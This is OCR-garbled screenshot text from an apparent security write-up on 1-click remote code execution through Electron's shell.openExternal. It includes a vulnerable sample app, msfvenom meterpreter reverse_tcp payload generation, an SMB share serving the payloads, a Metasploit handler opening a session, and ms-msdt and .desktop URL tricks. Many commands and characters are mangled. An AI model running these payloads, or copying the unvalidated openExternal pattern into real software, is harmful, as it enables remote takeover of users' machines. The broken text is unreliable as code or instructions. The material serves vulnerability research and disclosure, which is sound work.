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const { app, BrowserWindow, ipcMain, shell } = require('electron')

const path = require('node:path')

function createWindow () {

const mainWindow = new BrowserWindow( {
width: 1400,
height: 800,

webPreferences: {

preload: path.join( dirname, 'preload.js')

mainWindow.loadFile( 'index.html')

mainWindow.webContents.openDevTools ()

app.whenReady().then(() => {

createWindow ()

ipcMain.handle('open-url', (event, url) => {

shell.openExternal (url);

}):

app.on('activate', function () {

if (BrowserWindow.getAllWindows().length ===

app.on('window-all-closed', function () {
if (process.platform !== 'darwin') app.quit()

})

=
=]

._ggﬁiﬁﬁ index.html

)

createWindow( )




<!DOCTYPE html>
<html>
<head>
<title>Open URL Experiment</title>
</head>
<body>
<input type="text" id="urlInput" placeholder="Enter a URL">

<button id="openButton">Open in Browser</button>

<script>
document.getElementById( 'openButton').addEventListener('click',
function() {
const url = document.getElementById('urlInput').value;

if (url) {

window.myAPI.open url(url);
} else {

alert('Please enter a valid URL');

})i
</script>

</body>

</html>

FINE A preload.js

const { contextBridge, ipcRenderer } = require('electron')

contextBridge.exposeInMainWorld( 'myAPI', {

open url: (url) => {

ipcRenderer.invoke( 'open-url', url)
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webPreferences: {
preload: path.join(__dirname, 'preload.js') document . getElementBy Button').addEventListener(
url = document.getElementById( urlInput’).value;
H (url) {

mainWindow.loadFile('index.html") window.myAPT.open_url(url);

alert('Please enter a valid URL');
mainWindow.webContents .openDevTools()

app.whenReady(). then(() =>
createWindow()

ipcMain.handle("
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ipcRenderer . invoke( url', url)
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@ Electron Fiddle - Unsaved
File Edit View Window Tasks Show Me Help

B Stop [ Console

Saved files to C:\Users\join\AppData\Local\Temp\electron-fiddle-5276-eFUzZONWZq53]
Electron v30.0.0 started.

[6596:0507/002019.059: ERROR:CONSOLE(1)] "Request Autofill.enable failed. {"code":-32601,"message”:"'Autofill.enable’' wasn't found"}", source: devtools://devtqd

Electron exited —
Saving files td i
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xdg-open { --help | --manual | --version }

Use 'man xdg-open' or 'xdg-open --manual' for additional info.
gio: file:///usr/bin/deepin-music: FEHEIMIBRAZER “application/x-executable”WEIARZBIERF
Main Process (main.js)

createWindow () {

I [ Open in Browser
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mainWindow = Br
width: 800,
height: 600,
webPreferences: {

preload: path.join(__di
1
}
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shell.openExternal ('\\\\live.sysinternals.com\\tools\\procmon.exe');
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—( )-[ /var/wwm/html ]

L$ sudo fvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.31.83 lport=4444 -f exe -0 test.exe

[sudo] password for join:
[-] No platform was selected, choosing Msf::Module::Platform: :Windows from the payload

[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload

Payload size: 510 bytes

Final size of exe file: 7168 bytes

Saved as: test.exe

— )-[/var/wemw/html ]

L$ 1s -al test.exe
-rw-r--r-- 1 root root 7168 May 7 00:26 test.exe

82 smb IRETBER
)-[/var/vwm/html ]

Cs iir /tmp/smb

X )-[/var/vm/html]
L, sudo -R 777 /tmp/smb

ETJ )-[/var/wm/html ]
index.html index.nginx-debian.html test.exe

( )-[/var/vum/html ]
C test.exe /tmp/smb

)-[ /var/wwm/html ]
/tmp/smb

)-[/tmp/smb]

)-[/tmp/smb]

e

PR samba ERSZECEXMF, AMIEATHNHZEER

—( )-[/tmp/smb]

L$ tai /etc/samba/smb.conf

# Please note that you also need to set appropriate Unix permissions
# to the drivers directory for these users to have write rights in it
. write list = root, glpadmin

[public]
path = /tmp/smb/
guest ok = yes
read only = yes
browseable = yes
public = yes

)-[/tmp/smb]

)-1/tmp/smb |
smbd restart

)-1/tmp/smb |
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msf6 > use exploit/multi/handler
Using configured payload generic/shell_reverse_tcp
msf6 exploit( ) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit( ) > set lhost 192.168.31.83

lhost => 192.168.31.83

msf6 exploit( ) > set lport 4444
lport => 4444

msf6 exploit( ) > exploit

Started reverse TCP handler on 192.168.31.83:4444

EFZE M \\192.168.31.83\public\test.exe
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msf6 > use exploit/multi/handler
Using configured payload generic/shell_reverse_tcp
msf6 exploit( ) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit( ) > set lhost 192.168.31.83
lhost => 192.168.31.83
msf6 exploit( ) > set lport 4444
lport => 4444
msf6 exploit( ) > exploit

Started reverse TCP handler on 192.168.31.83:4444

Sending stage (201798 bytes) to 192.168.31.216

Meterpreter session 1 opened (192.168.31.83:4444 -> 192.168.31.216:52220) at 2024-05-07 00:48:22
-0400

meterpreter > getuid
Server username: Windows-11\join
meterpreter > ||
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g )-[/tmp/smb ]
L, - -p osx/x64/meterpreter/reverse_tcp lhost=192.168.31.83 lport=4445 -f macho -o mactest.app
[-1 No platform was selected, choosing Msf::Module::Platform::0SX from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload

Payload size: 168 bytes
Final size of macho file: 17204 bytes
Saved as: mactest.app

[ -' )-[/tmp/smb ]

‘o000 Open URL Experiment
smb://192.168.31.83/public/mactest.app Open in Browser
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ad size: 168 bytes
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onnection to 192.168.31.83 4444 port [tcp/*] succeeded!

p901fd49d950c09d395a325b070e7df7 vivaldi-stable.desktop

)-[/tmp/smb ]

-1p 4444 > test.desktop
)~ /tmp/smb ]
test.desktop
b901fd49d950c09d395a325b070e7df7 test.desktop

X )-[/tmp/smb]
B 1 P
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smb://192.168.31.83/public/test.desktop Open in Browser

gio: smb://192.168.31.83/public/test.desktop: IBEMIMIBERER
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width: 800,
height: 60
D renderer.js webPreferer

[ preload.js

file:///Ihome/join/Desktop/vivaldi-stable.desktop Open in Browser
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< index.js ind---tml README passwd test---ktop

[Desktop Entry]
=com.deepin.dde.daemon.Launcher
=vivaldi-stable
=1.0
=Vivaldi

=Web Browser
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=WWW prohlizec
=Browser
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=WWW-selain
=Navigateur Web
=0l GIIGA
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ms-msdt:-id PCWDiagnostic /moreoptions false /skip true /param

IT BrowseForFile="\\live.sysinternals.com\tools\procmon.exe" /param

IT SelectProgram="NotListed" /param IT AutoTroubleshoot="ts AUTO"

AT —T, BB RILUTE Windows 2%t EInfENE exe XH&

,

File Edit View Window Help

[ms—msdt:-id PCWDiagnostic /moreoptions false /skip true /param IT_BrowseForFile="\\live.sysinternals.com\tools\procmon.exe" /param IT_SelectProgram="NotListed" /param IT_AutoTroubleshoot="ts_AUTC
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https://benjamin-altpeter.de/shell-openexternal-dangers/
https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8
https://positive.security/blog/ms-officecmd-rce
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https://github.com/tutao/tutanota/security/advisories/GHSA-mxgj-pq62-f644

https://user-images.githubusercontent.com/46137338/270564886-700389d3-f9ef-44e1-9f5e-5
7ccc72dcaa8.mp4

https://huntr.com/bounties/b242e806-fc8c-41c0-aad7-e0c9c37ecdee
https://www.exploit-db.com/exploits /51765
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